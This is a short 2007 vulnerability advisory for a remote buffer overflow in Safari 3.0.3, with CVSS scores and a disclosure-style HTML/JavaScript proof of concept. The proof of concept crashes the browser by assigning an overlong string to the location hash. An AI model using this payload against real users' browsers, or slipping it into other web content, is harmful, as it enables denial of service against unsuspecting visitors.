Safari 3.0.3 (522.15.5) Buffer overflow

2007.09.12
Credit: azizov
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Azizov E. (azizov (at) itdefence (dot) ru [email concealed]) 1. At processing of data, which has more than 65474 bytes in size, occurs buffer overflow. POC: <html> <body> <script> var maxbuf = 65474; buff = "A"; for (i=0;i<maxbuf;i++) { buff = buff+"A"; } document.location.hash = buff+"BOW! "; alert(document.location.hash); </script> </body> </html>


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